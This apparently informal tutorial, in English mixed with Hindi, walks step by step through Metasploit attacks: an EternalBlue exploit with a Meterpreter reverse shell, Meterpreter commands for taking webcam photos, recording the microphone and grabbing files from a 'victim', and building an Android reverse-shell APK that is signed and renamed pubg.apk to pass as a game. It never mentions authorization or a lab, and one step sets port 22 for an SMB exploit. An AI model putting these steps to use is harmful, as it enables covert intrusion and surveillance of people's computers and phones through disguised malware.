

INTRODUCTION TO METASPLOIT

Metasploit is a powerful and widely used **penetration testing and exploitation framework** used by both ethical hackers and attackers. It helps in **finding, exploiting vulnerabilities**, and **gaining access** to target systems.

What Does Metasploit Do?

Task	Description
 Vulnerability Scanning	Finds security holes in the target system
 Exploit Launching	Exploits those vulnerabilities to gain system access
 Payload Injection	Injects malicious code (like reverse shell) into the system
 Post Exploitation	Gathers data from the compromised system (e.g., keystrokes, saved passwords)
 Meterpreter Session	A powerful interactive shell that gives the attacker full control

Core Components of the Metasploit Framework

Component	Purpose
msfconsole	The main command-line interface of Metasploit

msfvenom	Generates payloads (e.g., APKs, EXEs)
Exploits	Known attack codes for specific vulnerabilities
Payloads	Malicious code executed on the victim
Auxiliary Modules	Tools for scanning, sniffing, brute force, fuzzing, etc.

LETS PRACTICAL IT -<--

- Assuming You Have IP Address Of Victim .

→ First scan the IP address and gather information of victim machine by using **NMAP**.

```
nmap -sV 192.168.1.5
```

→ Open Metasploit using command -:

```
msfconsole
```

→ Use a known exploit (e.g., EternalBlue) -:

```
use exploit/windows/smb/ms17_010_eternalblue
```

What is exploit?

An **exploit** is a **piece of code or module** that **takes advantage of a vulnerability** in a system, software, or service to **gain unauthorized access or execute arbitrary commands**. These **exploit** codes exist in the exploit folder of metasploit.

→ Set the payload (to get control) -:

```
set payload windows/meterpreter/reverse_tcp
```

What is payload?

A **payload** is the **code that runs on the target system after a successful exploit**. This **payload** codes are exist in payload folder of metasploit.

Example:

You use an **exploit** to get inside a computer, but **what happens next** depends on the **payload**. For example:

-  Open a reverse shell (you get terminal access)
-  Install a backdoor
-  Download files
-  Take control of the desktop
-  Turn on the webcam

→ for see option that setting you -:

```
show option
```

→ Configure target and attacker IP -:

```
set RHOST 192.168.1.5      # Target IP
set RPORT 22                # Target port
```

→ And run exploit -:

```
exploit
```

Meterpreter commands:

Command	Use
---------	-----

sysinfo	Victim system info
getuid	Konsa user access mila hai
webcam_snap	Victim ki photo lena
record_mic	Mic se audio record
screenshot	Screen capture karna
shell	System shell lena
upload/download	Files bhejna ya lena

And many more:

Making custom payload:

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444
R> virus.apk
```

Part	Meaning
msfvenom	Metasploit payload generator tool
-p android/meterpreter/reverse_tcp	Payload type: for Android, it gives a Meterpreter shell via reverse TCP
LHOST=192.168.1.10	Your IP (listener IP – attacker's IP)
LPORT=4444	Your listening port (Metasploit will listen here)

R>	Writes raw output to a file
Virus.apk	The final APK file name generated with the payload

→ Sign the apk file:

- Making key

```
sudo keytool -genkey -v -keystore my-release-key.keystore -alias MIIT
-keyalg RSA -keysize 2048 -validity 10000
```

 Breakdown of Each Part:

Option	Explanation
sudo	Run as root (for permission)
keytool	Java ka built-in tool hota hai to create and manage keystores
-genkey	Generate a new key pair
-v	Verbose mode (show detailed info)
-keystore my-release-key.keystore	Keystore file jisme key save hogi
-alias MIIT	Key ka nickname, aap MIIT naam de rahe ho
-keyalg RSA	Key algorithm: RSA
-keysize 2048	Key length in bits
-validity 10000	Kitne din tak valid rahega (here: ~27 years)

- Sign the key

```
sudo jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore  
my-release-key.keystore virus.apk MIIT
```

Full Breakdown:

Option	Explanation
<code>sudo</code>	Run as root (zarurat pad sakti hai file permission ki wajah se)
<code>jarsigner</code>	Java ka tool hai <code>.jar</code> aur <code>.apk</code> files ko digitally sign karne ke liye
<code>-verbose</code>	Execution details dikhata hai
<code>-sigalg SHA1withRSA</code>	Signature algorithm: SHA1 with RSA (purana method)
<code>-digestalg SHA1</code>	Digest algorithm: SHA1 (ye bhi purana hai, but accepted for many devices)
<code>-keystore my-release-key.ke ystore</code>	Keystore file jo aapne pehle banayi thi
<code>virus.apk</code>	APK file jise sign karna hai
<code>MIIT</code>	Alias name (jo aapne key banate waqt diya tha)

-
- Verify the signature

```
sudo jarsigner -verify -verbose -certs virus.apk
```

Breakdown:

Option	Meaning
sudo	Run as root (zarurat pad sakti hai permission ke liye)
jarsigner	Java tool for signing and verifying APK/JAR files
-verify	APK me jo digital signature hai usko check karta hai
-verbose	Detail me output dikhata hai
-certs	Certificate chain ka detailed info dikhata hai (e.g. signer certificate details)
virus.apk	APK file jise verify karna hai

-
- Optimizing apk file running smoothly

```
sudo zipalign -v 4 virus.apk pubg.apk
```

Breakdown:

Part	Meaning
<code>sudo</code>	Root permission (file access issues avoid karne ke liye)
<code>zipalign</code>	Android SDK ka tool jo APK files ko align karta hai
<code>-v</code>	Verbose mode – output me detail show karta hai
<code>4</code>	Alignment in bytes – Android ke liye 4-byte alignment standard hai
<code>virus.apk</code>	Input file (signed APK)
<code>pubg.apk</code>	Output file (final aligned APK ready for install)

-
- Use this exploit to listen apk file:

```
use exploit/multi/handler
```

NOTE: In this command set LHOST and LPORT which is use when making apk file: and set payload which is make by you at on time.

→ And run exploit -:

```
exploit
```

SOURCE: chatgpt.com , wiki.peia.com , youtube.com